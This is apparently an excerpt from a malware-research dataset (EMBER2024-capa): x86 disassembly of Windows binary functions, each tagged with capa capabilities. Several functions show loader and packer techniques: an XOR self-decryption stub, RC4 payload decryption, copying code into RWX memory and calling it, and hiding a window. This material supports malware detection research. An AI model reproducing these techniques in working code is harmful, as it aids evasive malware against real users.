joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4486d1
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov eax, dword [0x460640]
push ebx
push esi
xor eax, ebp
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
xor ebx, ebx
push str.kernel32.dll
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x18], ebx
xor esi, esi
call edi
push str.GetUserDefaultUILanguage
push eax
mov dword [ebp - 0x20], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
je 0x44877b
call eax
mov esi, dword [sym.imp.KERNEL32.dll_ConvertDefaultLocale]
mov ebx, 0x3ff
mov edi, 0xfc00
mov dword [ebp - 0x18], eax
movzx eax, ax
mov ecx, eax
and ecx, ebx
movzx ecx, cx
and eax, edi
or eax, ecx
push eax
mov dword [ebp - 0x1c], ecx
call esi
push dword [ebp - 0x1c]
mov dword [ebp - 0x40], eax
call esi
push str.GetSystemDefaultUILanguage
push dword [ebp - 0x20]
mov dword [ebp - 0x3c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
mov dword [ebp - 0x18], eax
movzx eax, ax
mov ecx, eax
and ecx, ebx
movzx ebx, cx
and eax, edi
or eax, ebx
push eax
call esi
push ebx
mov dword [ebp - 0x38], eax
call esi
mov dword [ebp - 0x34], eax
push 4
xor ebx, ebx
jmp 0x44887d
call dword [sym.imp.KERNEL32.dll_GetVersion]
test eax, eax
jns 0x44882b
lea eax, [ebp - 0x1c]
push eax
push 0x20019
push ebx
push str.Control_PanelDesktopResourceLocale
push SysReAllocStringLen
mov dword [ebp - 0x1c], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x44887e
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x24]
push eax
push ebx
push ebx
push dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0x10
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x448820
cmp dword [ebp - 0x24], 1
jne 0x448820
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x14]
push 0x44fe6c
push eax
call fcn.00433277
add esp, 0xc
cmp eax, 1
jne 0x448820
mov eax, dword [ebp - 0x28]
mov esi, dword [sym.imp.KERNEL32.dll_ConvertDefaultLocale]
mov dword [ebp - 0x18], eax
movzx eax, ax
mov ecx, eax
and ecx, 0x3ff
movzx edi, cx
and eax, 0xfc00
or eax, edi
push eax
call esi
push edi
mov dword [ebp - 0x40], eax
call esi
push 2
mov dword [ebp - 0x3c], eax
pop esi
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x44887e
push str.ntdll.dll
call edi
cmp eax, ebx
je 0x44887e
lea ecx, [ebp - 0x18]
push ecx
push 0x4486bb
push 1
push 0x10
push eax
mov dword [ebp - 0x18], ebx
call dword [sym.imp.KERNEL32.dll_EnumResourceLanguagesA]
cmp word [ebp - 0x18], bx
je 0x44887e
movzx eax, word [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_ConvertDefaultLocale]
mov ecx, eax
and ecx, 0x3ff
movzx edi, cx
and eax, 0xfc00
or eax, edi
push eax
call esi
push edi
mov dword [ebp - 0x40], eax
call esi
mov dword [ebp - 0x3c], eax
push 2
pop esi
mov dword [ebp + esi*4 - 0x40], 0x800
inc esi
xor edi, edi
cmp esi, ebx
jle 0x4488a3
push dword [ebp + edi*4 - 0x40]
mov ecx, dword [ebp - 0x2c]
call fcn.00448632
cmp eax, ebx
pop ecx
jne 0x4488a5
inc edi
cmp edi, esi
jl 0x44888d
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00431cad
leave
ret 4
Function at 0x4488b6
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push edi
xor edi, edi
mov dword [ecx + 0x9c], edi
cmp dword [str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer], edi
mov dword [ebp - 0x10], ecx
mov dword [ebp - 4], edi
mov dword [ebp - 8], edi
mov dword [ebp - 0x14], 4
mov dword [ebp - 0xc], edi
mov ebx, 0x45f694
je 0x448972
push esi
lea eax, [ebp - 4]
push eax
push 1
push edi
push dword [ebx]
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x44895a
mov esi, dword [ebx + 4]
jmp 0x448954
lea ecx, [ebp - 0x14]
push ecx
lea ecx, [ebp - 8]
push ecx
lea ecx, [ebp - 0xc]
push ecx
push edi
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x448944
cmp dword [ebp - 0xc], 4
jne 0x448944
cmp dword [ebp - 8], edi
mov eax, dword [ebp - 0x10]
mov ecx, dword [esi + 4]
je 0x44893c
or dword [eax + 0x9c], ecx
jmp 0x448944
not ecx
and dword [eax + 0x9c], ecx
mov dword [ebp - 8], edi
mov dword [ebp - 0x14], 4
mov dword [ebp - 0xc], edi
add esi, 8
mov eax, dword [esi]
cmp eax, edi
jne 0x448908
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
add ebx, 8
cmp dword [ebx], edi
mov dword [ebp - 4], edi
jne 0x4488eb
pop esi
push edi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
inc eax
pop ebx
leave
ret

Function at 0x448d66
Capabilities:
Query or enumerate registry key

Disassembly:
mov eax, 0x44d04e
call fcn.004332ac
sub esp, 0x124
mov eax, dword [0x460640]
mov ecx, dword [ebp + 8]
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
xor eax, ebp
mov dword [ebp - 0x10], esp
lea edx, [ebp - 0x124]
mov dword [ebp - 0x14], eax
mov eax, dword [edi]
push edx
push eax
push ecx
mov dword [ebp - 0x12c], ecx
mov dword [ebp - 0x128], edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov esi, eax
test esi, esi
jne 0x448e74
push 0x104
lea eax, [ebp - 0x11c]
push eax
push 0
push dword [ebp - 0x124]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
mov esi, eax
test esi, esi
jne 0x448e48
and dword [ebp - 4], eax
lea eax, [ebp - 0x11c]
push eax
lea ecx, [ebp - 0x120]
call fcn.004021f0
lea eax, [ebp - 0x120]
push eax
push dword [ebp - 0x124]
mov byte [ebp - 4], 1
call fcn.00448d66
mov ecx, dword [ebp - 0x120]
mov esi, eax
test esi, esi
setne bl
add ecx, 0xfffffff0
mov byte [ebp - 4], 0
call fcn.00401a10
test bl, bl
jne 0x448e48
or dword [ebp - 4], 0xffffffff
jmp 0x448db3
cmp esi, 0x103
je 0x448e58
cmp esi, 0x3f2
jne 0x448e68
push dword [edi]
push dword [ebp - 0x12c]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov esi, eax
push dword [ebp - 0x124]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x14]
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.00431cad
leave
ret 8
Function at 0x44a0b3
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
push edi
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edi, dword [esp + 0x10]
test edi, edi
jle 0x44a0e8
cmp edi, dword [esi + 0xc]
jge 0x44a0e8
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x44a0e8
cmp edi, dword [eax + 8]
jge 0x44a0e8
mov eax, dword [eax + 0xc]
mov edi, dword [eax + edi*4]
jmp 0x44a0ea
xor edi, edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, edi
pop edi
pop esi
pop ebx
ret 4

Function at 0x44a1ee
Capabilities:
Allocate thread local storage

Disassembly:
xor eax, eax
push esi
mov esi, ecx
mov dword [esi + 0x14], eax
mov dword [esi + 0x18], eax
mov dword [esi + 0x18], 4
mov dword [esi + 4], eax
mov dword [esi + 8], 1
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], eax
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
mov dword [esi], eax
jne 0x44a222
jmp fcn.0043f070
lea eax, [esi + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov eax, esi
pop esi
ret

Function at 0x44a293
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea esi, [edi + 0x1c]
push esi
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [ebp + 8]
xor ebx, ebx
cmp eax, ebx
jle 0x44a38c
cmp eax, dword [edi + 0xc]
jge 0x44a38c
push dword [edi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov esi, eax
cmp esi, ebx
je 0x44a2e4
mov ecx, dword [ebp + 8]
cmp ecx, dword [esi + 8]
jl 0x44a375
cmp dword [ebp + 0xc], ebx
je 0x44a375
jmp 0x44a30e
push 0x10
call fcn.00449f7f
cmp eax, ebx
je 0x44a2fa
mov ecx, eax
call fcn.0044a1e5
mov esi, eax
jmp 0x44a2fc
xor esi, esi
mov dword [esi + 8], ebx
mov dword [esi + 0xc], ebx
mov ecx, dword [edi + 0x14]
mov eax, dword [edi + 0x18]
mov dword [esi + eax], ecx
mov dword [edi + 0x14], esi
mov eax, dword [esi + 0xc]
cmp eax, ebx
jne 0x44a325
mov eax, dword [edi + 0xc]
shl eax, 2
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
jmp 0x44a335
mov ecx, dword [edi + 0xc]
push 2
shl ecx, 2
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
cmp eax, ebx
jne 0x44a347
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call fcn.0043f070
mov ecx, dword [esi + 8]
mov dword [esi + 0xc], eax
mov edx, dword [edi + 0xc]
sub edx, ecx
shl edx, 2
push edx
lea eax, [eax + ecx*4]
push ebx
push eax
call fcn.004336d0
mov eax, dword [edi + 0xc]
add esp, 0xc
push esi
mov dword [esi + 8], eax
push dword [edi]
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
mov ecx, dword [ebp + 8]
mov eax, dword [esi + 0xc]
cmp eax, ebx
je 0x44a387
cmp ecx, dword [esi + 8]
jge 0x44a387
mov edx, dword [ebp + 0xc]
mov dword [eax + ecx*4], edx
push dword [ebp - 4]
jmp 0x44a38d
push esi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x44a44b
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x44a479
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x44a497
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0044a3b5
jmp 0x44a497
mov eax, dword [esi + 0x14]
test eax, eax
je 0x44a497
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
push eax
mov ecx, esi
call fcn.0044a3b5
test edi, edi
mov eax, edi
jne 0x44a481
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
mov ecx, dword [0x5747ec]
test ecx, ecx
je 0x44a54a
jmp 0x44a44a
ret 8
Function at 0x42e000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x407ef8
mov ecx, 0x6fd44856
nop
nop
nop
nop
nop
test eax, eax
nop
je 0x42e04e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x42e024
mov eax, section..text_1
nop
mov ebx, 0x42cd70
nop
mov ecx, 0x24801099
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x42e084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x42e06c
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x401007
Capabilities:
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x828
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
push ebx
push esi
xor esi, esi
cmp dword [0x828144], 0xee
push edi
mov dword [ebp - 8], ecx
mov dword [ebp - 0xc], eax
jne 0x401057
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_SwitchToFiber]
lea eax, [ebp - 4]
push eax
push esi
push str.Hiweb_lelokewu_legoj_fanonixahahomo
push esi
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
mov eax, dword [0x43b128]
mov dword [ebp - 0x18], eax
mov eax, dword [0x43b12c]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 4]
mov dword [ebp - 4], esi
call fcn.00401000
mov eax, dword [0x43b130]
mov ebx, dword [ebp - 4]
mov dword [ebp - 0x24], eax
mov eax, dword [0x43b134]
add ebx, 0x7c
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], 0x20
mov dword [ebp - 4], 2
add dword [ebp - 4], 3
mov eax, dword [ebp - 8]
mov edx, dword [0x828144]
mov edi, eax
shl edi, 4
add edi, dword [ebp - 0x24]
cmp edx, 0xfa9
jne 0x4010bd
mov dword [0x828140], 0xedeb2e40
cmp edx, 0x3eb
jne 0x4010cb
mov dword [0x43c56c], esi
lea ecx, [ebx + eax]
xor edi, ecx
mov ecx, dword [ebp - 4]
shr eax, cl
mov dword [0x82813c], 0x9150ce2e
add eax, dword [ebp - 0x14]
xor eax, edi
mov edi, eax
cmp edx, 0x27
jne 0x401117
lea eax, [ebp - 0x28]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
push esi
push esi
lea eax, [ebp - 0x828]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoExW]
mov edx, dword [0x828144]
sub dword [ebp - 0xc], edi
cmp edx, 0xc
jne 0x401125
call dword [sym.imp.KERNEL32.dll_GetLastError]
and eax, 0x5dc052bb
mov eax, dword [ebp - 0xc]
mov ecx, eax
mov edx, eax
shr ecx, 5
add ecx, dword [ebp - 0x20]
shl edx, 4
add edx, dword [ebp - 0x18]
add eax, ebx
xor ecx, edx
xor ecx, eax
mov dword [ebp - 0x1c], ecx
mov dword [0x43c568], esi
mov eax, dword [ebp - 0x1c]
sub dword [ebp - 8], eax
add ebx, 0x61c88647
dec dword [ebp - 0x10]
jne 0x40108f
mov ecx, dword [ebp - 8]
mov eax, dword [ebp + 8]
pop edi
mov dword [eax], ecx
mov ecx, dword [ebp - 0xc]
pop esi
mov dword [eax + 4], ecx
pop ebx
leave
ret 4

Function at 0x4011e1
Capabilities:
Allocate or change rwx memory

Disassembly:
push 0x40
push 0x1000
push dword [0x828144]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x827c30], eax
ret
Function at 0x4011fc
Capabilities:
Get hostname
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8d0
push esi
xor esi, esi
cmp dword [0x828144], 0x20a
push edi
jne 0x4012be
push esi
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0x30
lea eax, [ebp - 0x38]
push esi
push eax
mov dword [ebp - 0x3c], esi
call fcn.004046a0
add esp, 0xc
push esi
lea eax, [ebp - 0x3c]
push eax
push str.zinesugadofuruwibowedivohocenivalakese
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
push esi
push str.ciwifataxirubenub
push str.voxokibirahaxuhocucolebo
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceExA]
lea eax, [ebp - 0xd0]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_ResetWriteWatch]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
push esi
push esi
push esi
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpSetOption]
push esi
call fcn.004014c7
fldz
sub esp, 0xc
fst qword [esp + 8]
fstp qword [esp]
call fcn.00401430
add esp, 8
fstp st(0)
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.004018b0
fstp st(0)
add esp, 8
xor edi, edi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
cmp edi, 0xbcd043
jge 0x4012da
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
cmp edi, 0x90ce655
jg 0x4012eb
inc edi
cmp edi, 0x7048dce2
jl 0x4012c0
call fcn.004011cd
push 0x43c0e0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push dword [0x828144]
mov dword [0x827c34], eax
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x827c30], eax
call fcn.004011e1
mov eax, dword [0x43b204]
xor edi, edi
mov dword [0x829534], eax
cmp dword [0x828144], esi
jbe 0x401360
cmp dword [0x828144], 0x44
mov eax, dword [0x829534]
mov al, byte [eax + edi + 0xb2d3b]
mov ecx, dword [0x827c30]
mov byte [ecx + edi], al
jne 0x401357
push esi
lea eax, [ebp - 4]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
inc edi
cmp edi, dword [0x828144]
jb 0x40132b
xor edi, edi
mov eax, dword [0x828144]
add eax, edi
cmp eax, 0x5e
jne 0x401391
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_ReplaceFileA]
push esi
lea eax, [ebp - 0x8d0]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleTitleW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapSize]
inc edi
cmp edi, 0x40c893
jl 0x401362
call fcn.00401176
cmp esi, 0xc06
jne 0x4013ac
call fcn.004011b3
inc esi
cmp esi, 0x246b35
jl 0x40139f
mov eax, dword [0x827c30]
mov dword [0x828138], eax
call eax
pop edi
pop esi
leave
ret
Function at 0x401000
Capabilities:
Print debug messages

Disassembly:
mov ecx, dword [esp + 4]
sub esp, 0x400
lea eax, [esp + 0x408]
lea edx, [esp]
push ebx
push esi
push edi
push eax
push ecx
push edx
call fcn.00406883
mov edi, 0x41213c
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0xc]
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0xc]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
pop edi
pop esi
pop ebx
add esp, 0x400
ret

Function at 0x402f40
Capabilities:
Hide graphical window

Disassembly:
sub esp, 8
mov eax, dword [0x4120a8]
mov ecx, dword [str.pbFyo2muz3BgFJp4KclnGhflDBszeRMVyEEEdM7QfPvLROLp05oLqSCvT]
push ebx
push ebp
push esi
push edi
push eax
push ecx
call fcn.00402e60
mov edx, dword [0x4120a8]
mov edi, eax
mov eax, dword [str.pbFyo2muz3BgFJp4KclnGhflDBszeRMVyEEEdM7QfPvLROLp05oLqSCvT]
push edx
push eax
add edi, 0x1d195540
call fcn.00402e60
mov ecx, dword [0x4120a8]
mov edx, dword [str.pbFyo2muz3BgFJp4KclnGhflDBszeRMVyEEEdM7QfPvLROLp05oLqSCvT]
mov ebx, eax
push ecx
push edx
add ebx, 0x1d19557c
call fcn.00402e60
mov ecx, dword [str.pbFyo2muz3BgFJp4KclnGhflDBszeRMVyEEEdM7QfPvLROLp05oLqSCvT]
mov ebp, eax
mov eax, dword [0x4120a8]
add ebp, 0x1d19551c
push eax
push ecx
call fcn.00402e60
mov edx, dword [0x4120a8]
add eax, 0x1d195520
mov dword [esp + 0x30], eax
mov eax, dword [str.pbFyo2muz3BgFJp4KclnGhflDBszeRMVyEEEdM7QfPvLROLp05oLqSCvT]
push edx
push eax
call fcn.00402e60
mov ecx, dword [0x4120a8]
mov edx, dword [str.pbFyo2muz3BgFJp4KclnGhflDBszeRMVyEEEdM7QfPvLROLp05oLqSCvT]
add eax, 0x1d195524
push ecx
push edx
mov dword [esp + 0x44], eax
call fcn.00402e60
mov esi, dword [esp + 0x4c]
mov edx, dword [esp + 0x40]
add eax, 0x1d195528
add esp, 0x30
mov ecx, dword [edi + esi]
mov dword [esp + 0x1c], 0
add ecx, ebx
mov ecx, dword [ecx + esi]
add ecx, esi
mov edi, dword [ecx + edx]
mov edx, dword [esp + 0x14]
mov ebx, dword [ecx + eax]
mov ebp, dword [ecx + ebp]
mov edx, dword [ecx + edx]
add edi, esi
add edx, esi
add ebx, esi
test ebp, ebp
jbe 0x403057
mov dword [esp + 0x10], edx
mov eax, dword [esp + 0x10]
mov ecx, dword [0x4120a8]
push ecx
mov eax, dword [eax]
add eax, esi
push eax
call fcn.00402e60
mov ecx, dword [esp + 0x28]
add esp, 8
cmp eax, ecx
je 0x403057
mov eax, dword [esp + 0x1c]
mov edx, dword [esp + 0x10]
inc eax
add edx, 4
cmp eax, ebp
mov dword [esp + 0x1c], eax
mov dword [esp + 0x10], edx
jb 0x40301f
cmp dword [esp + 0x1c], ebp
jne 0x403067
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
ret
push 0
push 0
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [esp + 0x1c]
xor edx, edx
mov dx, word [ebx + eax*2]
mov eax, dword [edi + edx*4]
pop edi
add eax, esi
pop esi
pop ebp
pop ebx
add esp, 8
ret
Function at 0x403090
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa
Encrypt data using rc4 prga

Disassembly:
sub esp, 8
mov eax, dword [0x4120b4]
push ebx
push ebp
push esi
push edi
push eax
call fcn.00406ea5
mov ecx, dword [0x4120b0]
mov edi, eax
push ecx
mov dword [esp + 0x1c], edi
call fcn.00406ea5
mov ecx, eax
mov eax, dword [0x4120b8]
add esp, 8
xor ebp, ebp
xor ebx, ebx
test eax, eax
jbe 0x4030f4
mov eax, ecx
sub eax, edi
mov dword [esp + 0x10], eax
jmp 0x4030d4
mov eax, dword [esp + 0x10]
lea esi, [ebx + edi]
mov byte [eax + esi], bl
mov eax, ebx
cdq
idiv dword [esp + 0x28]
mov eax, dword [esp + 0x24]
inc ebx
mov dl, byte [edx + eax]
mov byte [esi], dl
mov eax, dword [0x4120b8]
cmp ebx, eax
jb 0x4030d0
mov eax, dword [0x4120bc]
xor esi, esi
test eax, eax
jbe 0x403141
mov eax, dword [esp + 0x14]
mov edi, ecx
sub eax, ecx
mov dword [esp + 0x28], eax
jmp 0x403111
mov eax, dword [esp + 0x28]
mov bl, byte [edi]
xor edx, edx
mov dl, byte [eax + edi]
mov eax, ebx
and eax, 0xff
add ebp, edx
add eax, ebp
xor edx, edx
div dword [0x4120c0]
inc esi
inc edi
mov ebp, edx
mov al, byte [ecx + ebp]
mov byte [ecx + ebp], bl
mov byte [edi - 1], al
mov eax, dword [0x4120bc]
cmp esi, eax
jb 0x40310d
mov eax, dword [esp + 0x20]
xor edi, edi
test eax, eax
jle 0x4031b6
mov ebx, dword [esp + 0x2c]
mov ebp, dword [esp + 0x1c]
sub ebp, ebx
mov dword [esp + 0x28], eax
lea eax, [esi + 1]
xor edx, edx
div dword [0x4120c4]
xor eax, eax
mov esi, edx
xor edx, edx
mov al, byte [esi + ecx]
add eax, edi
div dword [0x4120c8]
mov edi, edx
mov dl, byte [esi + ecx]
mov al, byte [edi + ecx]
mov byte [edi + ecx], dl
mov byte [esp + 0x24], al
mov byte [esi + ecx], al
mov edx, dword [esp + 0x24]
xor eax, eax
mov al, byte [edi + ecx]
and edx, 0xff
add eax, edx
xor edx, edx
div dword [0x4120cc]
mov al, byte [edx + ecx]
mov dl, byte [ebx + ebp]
xor al, dl
mov byte [ebx], al
mov eax, dword [esp + 0x28]
inc ebx
dec eax
mov dword [esp + 0x28], eax
jne 0x403159
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret
Function at 0x403320
Capabilities:
Terminate process

Disassembly:
sub esp, 0x5c
mov dword [esp], 0
mov dword [esp + 4], 0
call fcn.004032d0
test eax, eax
jne 0x403349
push 0xfff43714
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, 0x1cf24
mov dword [0x4120b0], eax
mov dword [0x4120b4], eax
mov dword [0x4120b8], eax
mov dword [0x4120bc], eax
mov dword [0x4120c0], eax
mov dword [0x4120c4], eax
mov dword [0x4120c8], eax
mov dword [0x4120cc], eax
push ebx
push esi
push edi
mov ecx, 0x15
mov esi, str.JeSPcCsCqEip_RduQx9yYZwy7r3cT3YUZjxa71aS6YkxeD8M_VtbyH4ONwQ5vjFXc2pb1k_WLmpi
lea edi, [esp + 0x14]
rep movsd dword es:[edi], dword [esi]
call fcn.00403260
test eax, eax
je 0x40349e
lea eax, [esp + 0xc]
push eax
push 0x2096
call fcn.004031c0
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x40349e
mov ecx, dword [0x4120a8]
mov edx, dword [str.pbFyo2muz3BgFJp4KclnGhflDBszeRMVyEEEdM7QfPvLROLp05oLqSCvT]
push ecx
push edx
call fcn.00402e60
mov ecx, dword [str.pbFyo2muz3BgFJp4KclnGhflDBszeRMVyEEEdM7QfPvLROLp05oLqSCvT]
mov esi, eax
mov eax, dword [0x4120a8]
add esi, 0x1d195544
push eax
push ecx
call fcn.00402e60
mov edx, dword [0x4120a8]
mov edi, eax
mov eax, dword [str.pbFyo2muz3BgFJp4KclnGhflDBszeRMVyEEEdM7QfPvLROLp05oLqSCvT]
push edx
push eax
add edi, 0x1d197504
call fcn.00402e60
add esp, 0x18
add eax, 0x1d196504
or eax, edi
lea ecx, [esp + 0xc]
push esi
push eax
push ecx
lea edx, [esp + 0x1c]
push 0
push edx
push 0xffffffffffffffff
call dword [0x4132f4]
test eax, eax
jl 0x403437
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0xc]
push eax
lea ecx, [esp + 0x18]
push 0x54
push ecx
push edx
push ebx
call fcn.00403090
add esp, 0x14
call dword [esp + 0x10]
mov esi, dword [esp + 0x74]
push esi
call fcn.0040f2de
push str.reglagesepare
push esi
call fcn.00406f20
add esp, 0xc
neg eax
sbb eax, eax
neg eax
mov dword [0x41354c], eax
call dword [sym.imp.COMCTL32.dll_InitCommonControls]
push 0xb4aeb5
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
mov dword [0x413520], eax
push 0x6e
mov eax, dword [esp + 0x70]
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
mov ecx, dword [0x413538]
push 0
push 0x401480
push 0
push 0x65
push ecx
mov dword [0x41337c], eax
call dword [sym.imp.USER32.dll_DialogBoxParamA]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x5c
ret 0x10